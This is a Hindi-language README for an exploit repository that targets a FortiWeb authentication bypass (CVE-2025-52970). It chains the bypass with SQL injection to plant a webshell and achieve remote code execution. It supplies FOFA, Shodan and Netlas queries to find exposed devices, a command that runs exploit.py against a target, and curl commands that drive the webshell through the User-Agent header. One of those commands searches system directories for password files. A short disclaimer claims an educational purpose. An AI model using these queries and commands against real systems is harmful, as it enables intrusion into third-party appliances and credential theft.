🚨 FortiWeb प्रमाणीकरण बायपास → दूरस्थ कोड निष्पादन

📌 अवलोकन

यह रिपॉजिटरी FortiWeb में एक प्रमाणीकरण बाईपास प्रदर्शित करता है जिसे दूरस्थ कोड निष्पादन (RCE) प्राप्त करने के लिए श्रृंखलाबद्ध किया जा सकता है।
यह शोषण SQL पेलोड इंजेक्ट करने, एक वेबशेल अपलोड करने और HTTP हेडर के माध्यम से कमांड निष्पादित करने के लिए एक कमजोर एंडपॉइंट का लाभ उठाता है।

⚠️ अस्वीकरण:
यह प्रोजेक्ट केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है।
उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है।

Netlas FOFA और Shodan

((FortiWeb)) AND port:("8443")

### FOFA
title="FortiWeb" && port="8443"

### Shodan
ssl:"FortiWeb" port:8443
http.title:"FortiWeb" port:8443

🔎 भेद्यता विवरण

CVE: CVE-2025-52970
घटक: FortiWeb Fabric API (/api/fabric/device/status)
प्रभाव: प्रमाणीकरण बाईपास → SQL इंजेक्शन → वेबशेल अपलोड → RCE
वेक्टर: निर्मित Authorization हेडर + SQL इंजेक्शन

🧑‍💻 शोषण कार्यप्रवाह

अस्थायी SQL तालिका को हटाएं और बनाएं।
वेबशेल पेलोड को भागों में लिखें।
शेल को /cgi-bin/x.cgi पर निर्यात करें।
अनुमतियाँ ट्रिगर करने के लिए सहायक Python स्क्रिप्ट अपलोड करें।
User-Agent हेडर के माध्यम से कमांड भेजकर वेबशेल तक पहुंचें।

⚙️ उपयोग

1️⃣ रिपॉजिटरी क्लोन करें

git clone https://github.com/your-username/Fortinet-AuthBypass-Exploit.git
cd Fortinet-AuthBypass-Exploit
python3 exploit.py -t https://TARGET:8443/

3️⃣ वेबशेल के साथ इंटरैक्ट करें

curl -ks -H 'User-Agent: id' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: whoami' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: uname -a' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: grep -ril pass /etc /conf /data 2>/dev/null' https://TARGET:8443/cgi-bin/x.cgi

FortiWeb-CVE-2025-52970-Authentication-Bypass

सबसे लोकप्रिय